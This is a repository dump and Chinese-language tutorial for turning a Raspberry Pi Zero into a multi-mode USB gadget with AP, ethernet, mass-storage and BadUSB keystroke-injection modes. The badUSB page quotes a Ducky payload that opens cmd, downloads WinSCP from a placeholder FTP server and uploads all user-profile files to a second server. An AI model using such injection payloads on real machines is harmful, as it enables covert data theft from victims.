├── keyboard ├── write_warning_linux.cmd2run ├── hardpass-sendHID │ ├── Makefile │ ├── scan │ ├── hardpass-demo.sh │ ├── scancodes.h │ ├── main.c │ ├── README.md │ └── scancodes.c ├── scan ├── README.md ├── write_warning.cmd2run ├── open_cmd.cmd2run ├── enable_hid.service ├── setup.sh ├── enable_hid.sh ├── dictionary.txt ├── hid_key_value.txt ├── read_input.sh ├── hid_kbd2.txt ├── hid_kbd_simplify.txt ├── hid_kbd1.txt ├── LICENSE └── hid_kbd.txt ├── ST7789.pyc ├── pic ├── bg.jpg ├── bye.jpg └── hi.jpg ├── html ├── .DS_Store ├── static │ ├── 1.mp4 │ ├── 1.png │ ├── 10.jpg │ ├── 11.jpg │ ├── 12.jpg │ ├── 13.png │ ├── 14.jpg │ ├── 2.jpg │ ├── 2.mp4 │ ├── 3.png │ ├── 4.png │ ├── 5.png │ ├── 6.png │ ├── 7.png │ ├── 8.png │ ├── 9.jpg │ ├── hut1_12v2.pdf │ └── style.css ├── templates │ ├── .DS_Store │ ├── layout.html │ ├── index.html │ ├── os_install.html │ ├── wireless_AP.html │ ├── usb_ether.html │ └── badUSB.html ├── __pycache__ │ ├── app.cpython-37.pyc │ └── run_server.cpython-37.pyc └── run_server.py ├── font ├── Geometr.ttf ├── Pavane.ttf ├── Soopafresh.ttf ├── UniTortred.ttf ├── Bodoni_Bold_Italic.ttf ├── Edmunds_Distressed.ttf └── Hollywood_Hills_Italic.ttf ├── RPI_Driver_OTG ├── rndis.cat └── RNDIS.inf ├── create_ap ├── create_ap.service ├── create_ap.conf ├── Makefile ├── LICENSE ├── howto │ └── realtek.md ├── README.md └── bash_completion ├── README.md ├── key_demo.py ├── ST7789.py ├── get_info.sh └── main.py /keyboard/write_warning_linux.cmd2run: -------------------------------------------------------------------------------- 1 | Your Computer had been hacked ! 2 | -------------------------------------------------------------------------------- /keyboard/hardpass-sendHID/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -std=c99 -Wall -Werror main.c scancodes.c -o scan 3 | -------------------------------------------------------------------------------- /ST7789.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/ST7789.pyc -------------------------------------------------------------------------------- /pic/bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/pic/bg.jpg -------------------------------------------------------------------------------- /pic/bye.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/pic/bye.jpg -------------------------------------------------------------------------------- /pic/hi.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/pic/hi.jpg -------------------------------------------------------------------------------- /html/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/.DS_Store -------------------------------------------------------------------------------- /keyboard/scan: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/keyboard/scan -------------------------------------------------------------------------------- /font/Geometr.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/font/Geometr.ttf -------------------------------------------------------------------------------- /font/Pavane.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/font/Pavane.ttf -------------------------------------------------------------------------------- /font/Soopafresh.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/font/Soopafresh.ttf -------------------------------------------------------------------------------- /font/UniTortred.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/font/UniTortred.ttf -------------------------------------------------------------------------------- /html/static/1.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/1.mp4 -------------------------------------------------------------------------------- /html/static/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/1.png -------------------------------------------------------------------------------- /html/static/10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/10.jpg -------------------------------------------------------------------------------- /html/static/11.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/11.jpg -------------------------------------------------------------------------------- /html/static/12.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/12.jpg -------------------------------------------------------------------------------- /html/static/13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/13.png -------------------------------------------------------------------------------- /html/static/14.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/14.jpg -------------------------------------------------------------------------------- /html/static/2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/2.jpg -------------------------------------------------------------------------------- /html/static/2.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/2.mp4 -------------------------------------------------------------------------------- /html/static/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/3.png -------------------------------------------------------------------------------- /html/static/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/4.png -------------------------------------------------------------------------------- /html/static/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/5.png -------------------------------------------------------------------------------- /html/static/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/6.png -------------------------------------------------------------------------------- /html/static/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/7.png -------------------------------------------------------------------------------- /html/static/8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/8.png -------------------------------------------------------------------------------- /html/static/9.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/9.jpg -------------------------------------------------------------------------------- /RPI_Driver_OTG/rndis.cat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/RPI_Driver_OTG/rndis.cat -------------------------------------------------------------------------------- /html/templates/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/templates/.DS_Store -------------------------------------------------------------------------------- /html/static/hut1_12v2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/static/hut1_12v2.pdf -------------------------------------------------------------------------------- /keyboard/README.md: -------------------------------------------------------------------------------- 1 | ## Install 2 | 3 | On the Pi and run the setup script. 4 | 5 | ```sh 6 | $ sudo ./setup.sh 7 | $ sudo reboot 8 | ``` 9 | -------------------------------------------------------------------------------- /font/Bodoni_Bold_Italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/font/Bodoni_Bold_Italic.ttf -------------------------------------------------------------------------------- /font/Edmunds_Distressed.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/font/Edmunds_Distressed.ttf -------------------------------------------------------------------------------- /font/Hollywood_Hills_Italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/font/Hollywood_Hills_Italic.ttf -------------------------------------------------------------------------------- /keyboard/hardpass-sendHID/scan: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/keyboard/hardpass-sendHID/scan -------------------------------------------------------------------------------- /html/__pycache__/app.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/__pycache__/app.cpython-37.pyc -------------------------------------------------------------------------------- /html/__pycache__/run_server.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/HEAD/html/__pycache__/run_server.cpython-37.pyc -------------------------------------------------------------------------------- /keyboard/write_warning.cmd2run: -------------------------------------------------------------------------------- 1 | GUI r 2 | DELAY 0.01 3 | STRING notepad 4 | DELAY 0.1 5 | ENTER 6 | DELAY 0.1 7 | Your Computer had been hacked ! 8 | DELAY 0.1 9 | ENTER 10 | DELAY 0.01 11 | -------------------------------------------------------------------------------- /keyboard/open_cmd.cmd2run: -------------------------------------------------------------------------------- 1 | GUI r 2 | DELAY 0.01 3 | STRING cmd 4 | DELAY 0.01 5 | ENTER 6 | DELAY 0.01 7 | ENTER 8 | DELAY 0.1 9 | STRING ipconfig 10 | DELAY 0.1 11 | ENTER 12 | DELAY 0.01 13 | ENTER 14 | DELAY 0.01 15 | -------------------------------------------------------------------------------- /keyboard/enable_hid.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Enable HID 3 | After=multi-user.target 4 | 5 | [Service] 6 | Type=simple 7 | ExecStart=/usr/bin/enable_hid.sh 8 | Restart=on-failure 9 | 10 | [Install] 11 | WantedBy=multi-user.target 12 | -------------------------------------------------------------------------------- /create_ap/create_ap.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Create AP Service 3 | After=network.target 4 | 5 | [Service] 6 | Type=simple 7 | ExecStart=/usr/bin/create_ap --config /etc/create_ap.conf 8 | KillSignal=SIGINT 9 | Restart=on-failure 10 | RestartSec=5 11 | 12 | [Install] 13 | WantedBy=multi-user.target 14 | -------------------------------------------------------------------------------- /html/static/style.css: -------------------------------------------------------------------------------- 1 | body { 2 | width: 100%; 3 | margin: 0px; 4 | padding: 0px; 5 | background: rgb(81, 154, 178); 6 | } 7 | 8 | #export_content { 9 | margin: 40px 20%; 10 | padding: 20px; 11 | border: 1px solid rgb(149, 155, 111); 12 | background: rgb(255, 255, 255); 13 | } -------------------------------------------------------------------------------- /keyboard/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Test if is Root 4 | if [[ $(id -u) -ne 0 ]] ; then echo "Please run as root" ; exit 1 ; fi 5 | 6 | # Enable dwc2 on the Pi 7 | #echo "dtoverlay=dwc2" | sudo tee -a /boot/config.txt 8 | 9 | # Enable dwc2 initialisation 10 | echo "dwc2" | sudo tee -a /etc/modules 11 | 12 | # Install service 13 | cp enable_hid.service /lib/systemd/system/ 14 | 15 | # Install script 16 | cp enable_hid.sh /usr/bin/ 17 | chmod +x /usr/bin/enable_hid.sh 18 | 19 | # Enable service 20 | systemctl enable enable_hid.service 21 | -------------------------------------------------------------------------------- /create_ap/create_ap.conf: -------------------------------------------------------------------------------- 1 | CHANNEL=default 2 | GATEWAY=10.0.0.1 3 | WPA_VERSION=2 4 | ETC_HOSTS=0 5 | DHCP_DNS=gateway 6 | NO_DNS=0 7 | NO_DNSMASQ=0 8 | HIDDEN=0 9 | MAC_FILTER=0 10 | MAC_FILTER_ACCEPT=/etc/hostapd/hostapd.accept 11 | ISOLATE_CLIENTS=0 12 | SHARE_METHOD=nat 13 | IEEE80211N=0 14 | IEEE80211AC=0 15 | HT_CAPAB=[HT40+] 16 | VHT_CAPAB= 17 | DRIVER=nl80211 18 | NO_VIRT=0 19 | COUNTRY= 20 | FREQ_BAND=2.4 21 | NEW_MACADDR= 22 | DAEMONIZE=0 23 | NO_HAVEGED=0 24 | WIFI_IFACE=wlan0 25 | INTERNET_IFACE=eth0 26 | SSID=MyAccessPoint 27 | PASSPHRASE=12345678 28 | USE_PSK=0 29 | -------------------------------------------------------------------------------- /html/templates/layout.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
5 | 6 | 7 | {% block tittle %} 8 |9 |11 |基于RaspberryPi Zero + Zero Key + 扩展板ST7789 实现多功能U盘
10 |
10 |13 |前些天逛X宝时偶尔看到树莓派Zero w,由于之前的树莓派3b已当礼物送给XXX当便携学习环境(就是这么没情调,咋的?不满意吗?我家里还有个2U dell 11 | 710,要不要?),手头没有一个写shell脚本的环境,十分不便,正好入手一个。后续了解到树莓派Zero的更多优点,萌生了做个多功能USB的想法
12 |
树莓派zero w参数如下:
15 |优势:保证功能健全的同时体积不到传统Raspberry Pi尺寸的一半。但是最主要的优势是:
32 |33 |35 |that USB port is not a standard type A port, instead it is a 'USB On-The-Go' port
34 |
一般来说,USB 设备有两种,一种是 Host,比如电脑,可以去读取其他 USB 设备的数据,另外一种是 Device,比如键盘鼠标优盘。其他树莓派的USB port都只支持作为 Host,而树莓派 Zero 和 Zero 36 | w 同时支持作为 Host 和 Device,这为树莓派做Bad USB提供了前提
37 |由于要做多功能USB,要做模式切换就需要交互界面,故购买如下设备,Zero KEY 套餐可以提供一个便携免焊接的USB口,更符合多功能USB的特点
(注:由于有囤SD卡,故此处选择了无卡套餐,能省则省!)
39 |
40 |
组装完成后如下
42 | 下载系统:https://www.raspberrypi.org/downloads/
44 |
45 |
解压,使用win32diskImager烧录到SD卡(win32diskImager可读取可写入,方便后续备份系统)
47 | 此步主要是为了在没有Mini-HDMI转接头连接显示器时ssh连接树莓派,,首推Plan A
默认用户名:pi
密码:raspberry
ssh的文件或目录。wpa_supplicant.conf的文件,内容如下1ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
2update_config=1
3country=CN
4network={
5 ssid="WIFI name"
6 psk="WIFI passwd"
7 priority=1
8 id_str="test"
9}
56 | 1、烧录完成后,在电脑上插入这个 SD 卡,在根目录下面的config.txt文件的末尾添加一行
1dtoverlay=dwc2
63 | 2、打开 cmdline.txt 在 rootwait 后面添加如下内容
64 |1modules-load=dwc2,g_ether
65 | 3、在 SD 卡根目录下面创建一个名为ssh的文件或目录。
4、把SD卡插到树莓派Zero 上。将组装好的树莓派Zero w到电脑上。这时你就可以通过 SSH 终端(如
66 | PuTTY)连接到raspberrypi.local 了。如果这个不能通过这个主机名连接,那么你可能需要给 Windows 系统的电脑上安装 Bonjour、iTunes 或 Quicktime;给
67 | Linux 系统安装 Avahi Daemon 以确保可以通过主机名 “raspberrypi.local” 连接到树莓派 Zero。
https://blog.csdn.net/yaoyutian/article/details/78811681
https://shumeipai.nxez.com/rpi-zero-quick-plug
树莓派最终作为独立的多功能USB设备时,可能会面对相对复杂的应用环境。为了脱离HDMI转接线,路由器,电脑等环境的限制,故添加了无线AP模式以应对特殊使用场景。
11 |
在按键开启无线AP模式以后,树莓派可作为具有路由功能的三层设备,只需手机等终端连接热点即可完成树莓派的完全控制,也可结合BadUSB功能实现无线USB功能
实现AP模式需要用到一个开源项目https://github.com/oblique/create_ap,详细信息可在github上查看
1git clone https://github.com/oblique/create_ap
2cd create_ap
3sudo make install
18 | 1apt-get install util-linux procps hostapd iproute2 iw haveged dnsmasq
22 | 1root@raspberrypi:~/init_os# create_ap -n wlan0 My_AP 12345678
2WARN: brmfmac driver doesn't work properly with virtual interfaces and
3 it can cause kernel panic. For this reason we disallow virtual
4 interfaces for your adapter.
5 For more info: https://github.com/oblique/create_ap/issues/203
6ERROR: Your adapter can not be a station (i.e. be connected) and an AP at the same time
7root@raspberrypi:~/init_os#
8
26 | 这是由于树莓派无线适配器当前处于无线网卡模式,而其不支持同时做无线终端和AP
27 |1root@raspberrypi:~/init_os# ps aux|grep "iwlan0"
2root 356 0.0 0.9 10944 4016 ? Ss 02:27 0:00 wpa_supplicant -B -c/etc/wpa_supplicant/wpa_supplicant.conf -iwlan0 -Dnl80211,wext
3root 1147 0.0 0.4 7304 1792 pts/0 S+ 03:54 0:00 grep iwlan0
4root@raspberrypi:~/init_os#
28 |
29 | 需kill掉该进程后再开启AP模式,以下是该功能的实现函数。需要注意的是,在主程序调用脚本时os.popen().read()会阻塞进程,故此处做后台运行处理,防止树莓派在开启AP模式后假死(卡在等待os.popen().read()返回状态)
30 |
1function enable_ap()
2{
3 AP_name="SecretAP"
4 AP_pwd="12345678"
5 pid1=`ps aux|grep "create_ap -n wlan0"|grep -v grep`
6 pid2=`ps aux|grep "iwlan0"|grep -v grep`
7 if [ ! -z "$pid1" -a -z "$pid2" ];then
8 green_message "It is AP mode now,skip..."
9 return 0
10 fi
11 kill "$(ps aux|grep "iwlan0"|head -1|awk '{print $2}')" > /dev/null 2>&1
12 DATE=`date +"%Y%m%d%H%M%S"`
13 print_run "nohup create_ap -n wlan0 $AP_name $AP_pwd > /tmp/create_ap_log_${DATE}.log 2>&1 &"
14}
32 | 37 |40 |RaspAP 是一个可以将树莓派轻松部署成无线 AP(Access Point)的软件方案,具有一套响应式的 WebUI 来控制 WiFi,用起来和家用路由器一样方便。RaspAP 可以运行在 Raspbian 38 | 上,只需要先给树莓派安装好 Raspbian 系统,再通过快速安装脚本就可以轻松完成 RaspAP 的安装和配置。
39 |
该方案易于安装,集成了webUI,但是不利于多功能USB的模块化管理。
41 |
43 |
44 |
45 |
46 | create_ap(https://github.com/oblique/create_ap)
RaspAP:轻松实现树莓派无线
48 | AP(https://shumeipai.nxez.com/2019/09/30/raspap-webgui-installation-guide.html)
一般来说,USB 设备有两种,一种是 Host,比如电脑,可以去读取其他 USB 设备的数据,另外一种是
11 | Device,比如键盘鼠标优盘智能手机。而OTG(文末附录what is OTG)实现了设备在host 和
12 | slave(peripheral)间转换。例如支持OTG功能的智能手机可以作为host读取优盘内容。
在树莓派系统/boot/overlays/README中,关于 USB controller driver的描述如下(文末附录关于dwc_otg与dwc2的区别):
14 |
1Name: dwc-otg
2Info: Selects the dwc_otg USB controller driver which has fiq support. This
3 is the default on all except the Pi Zero which defaults to dwc2.
4Load: dtoverlay=dwc-otg
5Params: <None>
6
7
8Name: dwc2
9Info: Selects the dwc2 USB controller driver
10Load: dtoverlay=dwc2,<param>=<val>
11Params: dr_mode Dual role mode: "host", "peripheral" or "otg"
12
13 g-rx-fifo-size Size of rx fifo size in gadget mode
14
15 g-np-tx-fifo-size Size of non-periodic tx fifo size in gadget
16 mode
16 | 这是由于在目前所有树莓派中,只有树莓派Zero系列支持OTG,故只有树莓派Zero的驱动为支持host和slave的dwc2,这使得实现U盘模式和网卡模式等成为可能
17 |可参考“基于树莓派的多功能USB实现--系统安装”一文中“开机准备”->“Plan B”
20 |1dtoverlay=dwc2
25 | 1modules-load=dwc2,g_ether
29 | ifconfig会出现usb0网卡 1root@raspberrypi:~# ifconfig
2lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
3 inet 127.0.0.1 netmask 255.0.0.0
4 inet6 ::1 prefixlen 128 scopeid 0x10<host>
5 loop txqueuelen 1000 (Local Loopback)
6 RX packets 4 bytes 444 (444.0 B)
7 RX errors 0 dropped 0 overruns 0 frame 0
8 TX packets 4 bytes 444 (444.0 B)
9 TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
10
11usb0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
12 inet 169.254.85.97 netmask 255.255.0.0 broadcast 169.254.255.255
13 inet6 fe80::ebd3:772b:6391:bfde prefixlen 64 scopeid 0x20<link>
14 ether 32:f7:c3:1c:e2:00 txqueuelen 1000 (Ethernet)
15 RX packets 942 bytes 69082 (67.4 KiB)
16 RX errors 0 dropped 0 overruns 0 frame 0
17 TX packets 31 bytes 5556 (5.4 KiB)
18 TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
19
20wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
21 inet 192.168.18.10 netmask 255.255.255.0 broadcast 192.168.18.255
22 inet6 2408:8210:904a:ce10:ba27:ebff:fed6:bd35 prefixlen 128 scopeid 0x0<global>
23 inet6 fe80::d265:e222:f80b:bafe prefixlen 64 scopeid 0x20<link>
24 inet6 2408:8210:904a:ce10:9858:ac15:2a92:ac26 prefixlen 64 scopeid 0x0<global>
25 ether b8:27:eb:d6:bd:35 txqueuelen 1000 (Ethernet)
26 RX packets 1322 bytes 88862 (86.7 KiB)
27 RX errors 0 dropped 0 overruns 0 frame 0
28 TX packets 93 bytes 18435 (18.0 KiB)
29 TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
34 | 该模式目前个人主要用于ssh连接树莓派
36 |1dtoverlay=dwc2
42 | 1modules-load=dwc2,g_mass_storage
46 | 1dd if=/dev/zero of=/home/my_u_disk.bin bs=1024 count=1000000
51 | vfat格式1mkfs.vfat /home/my_u_disk.bin
55 | 1modprobe g_mass_storage file=/home/my_u_disk.bin removable=1 dVendor=0x0781 idProduct=0x5572 bcdDevice=0x011a iManufacturer="SanDisk" iProduct="Cruzer Switch" iSerialNumber="1234567890"
59 | 该模式可以用于模拟普通U盘,也可配合菜单选项中Export log,导出操作log
61 |
需要注意的是,当U盘镜像文件modprobe为外界U盘时,如果mountU盘镜像文件到树莓派系统本地会发现,外界U盘的文件增删查改操作并不会同步显示,需umount和rmmod之后再mount或modprobe一遍才能同步。
62 |
故在交互菜单栏中有Flash U Disk选项,以便在Export log后更新U盘显示内容
66 |71 |dwc_otg is the driver that has been heavily patched to squeeze most performance & function in host mode 67 | on the Pi: the fiq stuff etc. So heavily patched that, despite the name, it only does host mode & 68 | not OTG.
70 |
dwc2 is an upstream driver which can do the OTG host/gadget flip dictated by 69 | OTG_SENSE. In host mode performance will pale of dwc_otg, hence it's only recommended for gadget mode.
73 |79 |USB On-The-Go (USB OTG or just OTG) is a specification first used in late 2001 that allows USB devices, such 74 | as tablets or smartphones, to act as a host, allowing other USB devices, such as USB flash drives, digital 75 | cameras, mice or keyboards, to be attached to them. Use of USB OTG allows those devices to switch back and 76 | forth between the roles of host and device. A mobile phone may read from removable media as the host device, 77 | but present itself as a USB Mass Storage Device when connected to a host computer.
78 |
81 |104 |Using the modules
82 |83 |
100 |- g_serial - To use the standard serial module, you need to tell the Pi to forward the serial console 84 | to it with sudo systemctl enable getty@ttyGS0.service, then you can connect to the device via Putty or 85 | Screen.
86 |- g_ether - Using virtual ethernet, you should simply be able to ssh into the address of your 87 | Raspberry Pi. To do this, there is a little extra configuration required though. There is a few ways we 88 | could set up the point to point networking. The proper way would be to set up a DHCP server on one of the 89 | ends. A far simplier was though is just to give the Raspberry Pi a fixed IP address. To do this, you will 90 | need to run sudo echo -e "interface usb0 \nstatic ip_address=169.254.64.64" >> /etc/dhcpcd.conf. You 91 | can then access the Raspberry Pi Zero by connecting to 169.254.64.64, or by using raspberrypi.local if 92 | your computer has Bonjour installed (Mac and most Linux OSs including Raspbian). Note this method does not 93 | support adding a fixed address to the cmdline.txt file. For that, you have to use the Ethernet only kernel 94 | below.
95 |- g_mass_storage - To have your Pi Zero appear as a mass storage device (flash drive), first create a 96 | mini filesystem in a file on your Pi with sudo dd if=/dev/zero of=/piusb.bin bs=512 count=2880 and set it 97 | up as a fat32 filesystem with sudo mkdosfs /piusb.bin. Then, when enabling it, add file=/piusb.bin stall=0 98 | onto the end, for example sudo modprobe g_mass_storage file=/piusb.bin stall=0.
99 |In theory, most USB devices should work alongside these kernels, to switch to USB OTG mode, simply don't use 101 | an OTG adapter cable and use a standard USB cable to plug your Pi Zero into another computer, it should auto 102 | switch.
103 |
Difference between DWCOTG and DWC2(https://www.raspberrypi.org/forums/viewtopic.php?t=179259)
USB
106 | On-The-Go(https://en.wikipedia.org/wiki/USB_On-The-Go)
树莓派 /boot/overlays/README
Raspberry Pi Zero OTG
107 | Mode(https://gist.github.com/gbaman/50b6cca61dd1c3f88f41)
https://github.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device
11 |13 |16 |BadUSB is a dangerous USB security flaw that allows attackers to turn a simple USB device into a keyboard, 14 | which can then be used to type malicious commands into the victim's computer.
15 |
在钢铁侠1中 1:31:09 处有关于Badusb的演示。。。
17 |22 |25 |P4wnP1 is a highly customizable USB attack platform, based on a low cost Raspberry Pi Zero or Raspberry Pi 23 | Zero W (required for HID backdoor).
24 |
该方案不支持最新的debian10,而且由于其集成了很多功能,与目前多功能USB其他部分设置存在冲突,故舍弃。
26 |32 |34 |33 |
Payload在本文可以简单理解为实现Badusb单个功能(如Windows解锁,调用cmd窗口运行命令)的流程脚本。
本文采用第二种方案。该实现需要三部分:模拟HID键盘, Payload解释器和内容输入
36 |1# Enable dwc2 on the Pi
2echo "dtoverlay=dwc2" | sudo tee -a /boot/config.txt
3
4# Enable dwc2 initialisation
5echo "dwc2" | sudo tee -a /etc/modules
6echo "libcomposite" | sudo tee -a /etc/modules
41 | enable对应服务并重启即可。 1#!/bin/bash
2
3# Initial Setup
4modprobe libcomposite
5cd /sys/kernel/config/usb_gadget/
6mkdir -p g1
7cd g1
8
9# Device description
10echo 0x1d6b > idVendor # Linux Foundation
11echo 0x0104 > idProduct # Multifunction Composite Gadget
12echo 0x0100 > bcdDevice # v1.0.0
13echo 0x0200 > bcdUSB # USB2
14
15mkdir -p strings/0x409
16echo "abcdef1234567890" > strings/0x409/serialnumber
17echo "Pedro Qin" > strings/0x409/manufacturer
18echo "raspberry USB device" > strings/0x409/product
19
20# Define a Keyboard
21mkdir -p functions/hid.usb0
22echo 1 > functions/hid.usb0/protocol
23echo 1 > functions/hid.usb0/subclass
24echo 8 > functions/hid.usb0/report_length
25echo -ne \\x05\\x01\\x09\\x06\\xa1\\x01\\x05\\x07\\x19\\xe0\\x29\\xe7\\x15\\x00\\x25\\x01\\x75\\x01\\x95\\x08\\x81\\x02\\x95\\x01\\x75\\x08\\x81\\x03\\x95\\x05\\x75\\x01\\x05\\x08\\x19\\x01\\x29\\x05\\x91\\x02\\x95\\x01\\x75\\x03\\x91\\x03\\x95\\x06\\x75\\x08\\x15\\x00\\x25\\x65\\x05\\x07\\x19\\x00\\x29\\x65\\x81\\x00\\xc0 > functions/hid.usb0/report_desc
26mkdir -p configs/c.1/strings/0x409
27ln -s functions/hid.usb0 configs/c.1/
28
29echo "Config 1: Keyboard" > configs/c.1/strings/0x409/configuration
30echo 250 > configs/c.1/MaxPower
31ls /sys/class/udc > UDC
32# for status check
33touch /tmp/enable_hid.lock
45 |
48 | 以下是一个叫Payload ftp download upload的Payload:
1GUI r
2DELAY 200
3STRING cmd
4ENTER
5DELAY 600
6STRING cd %USERPROFILE%
7ENTER
8STRING ftp -i SERVER
9ENTER
10DELAY 800
11STRING USERNAME
12ENTER
13STRING PASSWORD
14ENTER
15STRING GET WinSCP.com
16ENTER
17DELAY 200
18STRING GET WinSCP.exe
19ENTER
20DELAY 3000
21STRING quit
22ENTER
23REM FTP user only needs write access.
24STRING WinSCP.com /command "option batch abort" "option confirm off" "open ftp://USERNAME2:PASSWORD2@SERVER2" "put *.*" "close" "exit"
25ENTER
26ALT SPACE
27STRING N
52 | 根据此Payload 脚本,可简单模拟解释器,主要逻辑如下:
53 | 1 ......
2 echo "$@" | while read line;do
3 case ${line:0:3} in
4 # ctrl
5 CON)
6 prefix="\x1"
7 press_one_key "$prefix" "${line#* }"
8 ;;
9 # alt
10 ALT)
11 prefix="\x4"
12 press_one_key "$prefix" "${line#* }"
13 ;;
14 # shift
15 SHI)
16 prefix="\x2"
17 press_one_key "$prefix" "${line#* }"
18 ;;
19 # windows
20 GUI)
21 prefix="\x08"
22 press_one_key "$prefix" "${line#* }"
23 ;;
24 # comments
25 REM)
26 continue
27 ;;
28 # input str
29 STR)
30 input_string "${line#* }"
31 ;;
32 # enter
33 ENT)
34 press_enter
35 ;;
36 # delay
37 DEL)
38 sleep "${line#* }"
39 ;;
40 EXI)
41 return
42 ;;
43 *)
44 input_string "${line}"
45 ;;
46 esac
47 done
48 ......
54 | HID键盘协议:ID Usage Tables 1.12 :10 Keyboard/Keypad Page (0x07)
实现字符串输入需要将目标内容解析成HID keycode,然后由HID键盘转回目标内容。
57 |具体有以下两种方案,在实际测试时,需两种方案结合,scan完成符串输入和脚本实现控制字串(如ctrl r等)输入
USB键盘数据包含8个字节:
60 | 1BYTE1 -- 特殊按键
2 |--bit0: Left Control 是否按下,按下为1
3 |--bit1: Left Shift 是否按下,按下为1
4 |--bit2: Left Alt 是否按下,按下为1
5 |--bit3: Left GUI(Windows键) 是否按下,按下为1
6 |--bit4: Right Control 是否按下,按下为1
7 |--bit5: Right Shift 是否按下,按下为1
8 |--bit6: Right Alt 是否按下,按下为1
9 |--bit7: Right GUI 是否按下,按下为1
10
11BYTE2 -- 0
12
13BYTE3-BYTE8 当前按下的普通按键键值,最多六个按键
61 | 每次输入完后需输入8个0字节结束输入。
示例,输入“A”:
1echo -ne "\x2\0\x04\0\0\0\0\0" > /dev/hidg0
2sleep 0.1
3echo -ne "\0\0\0\0\0\0\0\0" > /dev/hidg0
63 | 依此逻辑可以完成键盘模拟输入。但需要注意输入时增加延时。
64 |缺点:效率低,有部分字母显示不正常
